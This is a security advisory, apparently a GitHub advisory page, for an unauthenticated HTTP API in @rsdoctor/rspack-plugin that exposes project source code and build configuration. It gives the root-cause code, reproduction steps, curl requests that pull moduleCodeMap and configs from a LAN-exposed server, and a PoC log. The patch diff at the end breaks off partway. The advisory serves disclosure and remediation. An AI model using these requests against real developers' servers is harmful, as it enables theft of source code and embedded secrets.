Résumé

@rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata

Détails de l’avis

Summary

The default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces (0.0.0.0) and serves a POST /api/data/key endpoint with no authentication and wildcard CORS (Access-Control-Allow-Origin: *). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (moduleCodeMap), serialized build configuration (configs), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer.

Details

Root cause: server binds to all interfaces with no authentication and no key allowlist.

The vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path:

1. Server binds to 0.0.0.0 (all interfaces)

packages/utils/src/build/server.ts:107 calls server.listen(port, callback) without a host argument. Node.js defaults to 0.0.0.0, exposing the server on every network interface of the developer's machine, including LAN interfaces.

// packages/utils/src/build/server.ts:83,107
server.listen(port, () => {   // no host → 0.0.0.0
  resolve(res);
});

2. Wildcard CORS enabled unconditionally

packages/sdk/src/sdk/server/index.ts:106 applies cors() middleware with no origin restriction, and :203–204 additionally sets Access-Control-Allow-Origin: * explicitly on every API response, allowing cross-origin browser requests from any domain.

// packages/sdk/src/sdk/server/index.ts:106
this.app.use(cors());
// :203
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');

3. POST /api/data/key registered with no authentication middleware

packages/sdk/src/sdk/server/apis/data.ts:6 registers the route via @Router.post. There is no authentication guard, token check, or session validation anywhere in the middleware chain.

// packages/sdk/src/sdk/server/apis/data.ts:6,13,29
@Router.post(SDK.ServerAPI.API.LoadDataByKey)
public async loadDataByKey() {
  let { key } = req.body as SDK.ServerAPI.InferRequestBodyType<SDK.ServerAPI.API.LoadDataByKey>;
  const data = await this.loadData(key);
  return data;
}

4. key is passed to getStoreData() without an allowlist

packages/sdk/src/sdk/server/apis/base.ts:29–39 indexes the entire SDK data store directly using the attacker-controlled key, including dot-path traversal for nested keys.

// packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36
const data = this.ctx.sdk.getStoreData();
let res = data[key];
if (key.includes(sep)) {
  res = key.split(sep).reduce((t, k) => t[k], data);
}
return res;

Source-to-sink data flow:

Step Location Description
1 packages/rspack-plugin/src/plugin.ts:111 Plugin bootstraps the SDK server during build
2 packages/core/src/inner-plugins/utils/config.ts:98,110–115 disableClientServer defaults to false; server starts in all non-CI builds
3 packages/utils/src/build/server.ts:83,107 HTTP server created and bound to 0.0.0.0
4 packages/sdk/src/sdk/server/index.ts:106,203 Wildcard CORS applied unconditionally
5 packages/sdk/src/sdk/server/apis/data.ts:6,13,29 Attacker key accepted from request body
6 packages/sdk/src/sdk/server/apis/base.ts:29,36,39 key indexes sdk.getStoreData() with no allowlist
7 packages/sdk/src/sdk/sdk/index.ts:487,491 moduleCodeMap getter calls _moduleGraph.toCodeData()
8 packages/graph/src/graph/module-graph/graph.ts:464–469 toCodeData() returns all module source objects
9 packages/graph/src/graph/module-graph/module.ts:248–250 Each module exposes source, transformed, and parsedSource
10 packages/sdk/src/sdk/server/router.ts:119,125 Serialized result written to HTTP response

Default configuration ensures source code is captured:

packages/core/src/inner-plugins/utils/config.ts shows that noModuleSource, noAssetsAndModuleSource, and noCode all default to false, causing normalizeReportType to return SDK.ToDataType.Normal. This means module source code is stored in the SDK data store by default and retrievable via the moduleCodeMap key.

PoC

Original PoC

Environment setup:

# Create and enter a temporary project directory
mkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc
pnpm init

# Install the vulnerable version
pnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/rspack-plugin@1.5.11

# Create a source file embedding a secret
mkdir src
cat > src/index.js <<'EOF'
const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';
console.log(INTERNAL_API_KEY);
EOF

# Create rspack config with the Rsdoctor plugin (default settings)
cat > rspack.config.js <<'EOF'
const { RsdoctorRspackPlugin } = require('@rsdoctor/rspack-plugin');
module.exports = {
  mode: 'development',
  entry: './src/index.js',
  output: { path: __dirname + '/dist', filename: 'bundle.js' },
  plugins: [new RsdoctorRspackPlugin()]
};
EOF

# Run rspack — the Rsdoctor HTTP server starts automatically
pnpm rspack -c rspack.config.js
# Note the printed port, e.g.: http://<lan-ip>:3717/index.html

Exploit (from any host on the same LAN, no authentication):

# Primary probe: exfiltrate all module source code
curl -s "http://<victim-lan-ip>:<port>/api/data/key" \
  -H 'Content-Type: application/json' \
  --data '{"key":"moduleCodeMap"}'
# Response: full source code of every compiled module, including secrets

Expected response (excerpt):

{
  "...": "...",
  "source": "const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\nconsole.log(INTERNAL_API_KEY);\n",
  "...": "..."
}

Secondary probe: exfiltrate build configuration and local paths:

curl -s "http://<victim-lan-ip>:<port>/api/data/key" \
  -H 'Content-Type: application/json' \
  --data '{"key":"configs"}'
# Response: 9,278 bytes of serialized build configuration including absolute file paths

Automated PoC (Docker-based, self-contained reproduction):

The Docker-based reproduction builds and starts the vulnerable project inside a container, then executes poc.py to confirm source code exfiltration. The PoC embeds the marker string rsdoctor-vuln-001-secret-EXFIL-abc123 in the compiled source and asserts its presence in the unauthenticated API response:

============================================================
VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak
============================================================
[*] Detected Rsdoctor server on port: 3717 (after 3s)
[*] Running PoC exploit against http://127.0.0.1:3717 ...
[*] Target URL  : http://127.0.0.1:3717/api/data/key
[*] Payload     : {"key": "moduleCodeMap"}
[*] Auth header : (none)
[+] HTTP status  : 200
[+] Response size: 738 bytes
[+] SECRET MARKER FOUND IN RESPONSE: 'rsdoctor-vuln-001-secret-EXFIL-abc123'
[+] Context around secret:
    ...NEVER be able to read this content via an unauthenticated HTTP API.
const RSDOCTOR_SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123";
console.log(RSDOCTOR_SECRET_MARKER);
module.exports = { secret: RSDOCTOR_SECRET_MARKER };
...
[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API
[+] Secondary probe (key=configs) status: 200, size: 9,278 bytes

Recommended patch:

--- a/packages/utils/src/build/server.ts
+++ b/packages/utils/src/build/server.ts
-export async function createServer(port: number): Promise<{
+export async function createServer(
+  port: number,
+  host = '127.0.0.1',
+): Promise<{
-    server.listen(port, () => {
+    server.listen(port, host, () => {
       resolve(res);
     });
--- a/packages/sdk/src/sdk/server/index.ts
+++ b/packages/sdk/src/sdk/server/in

Références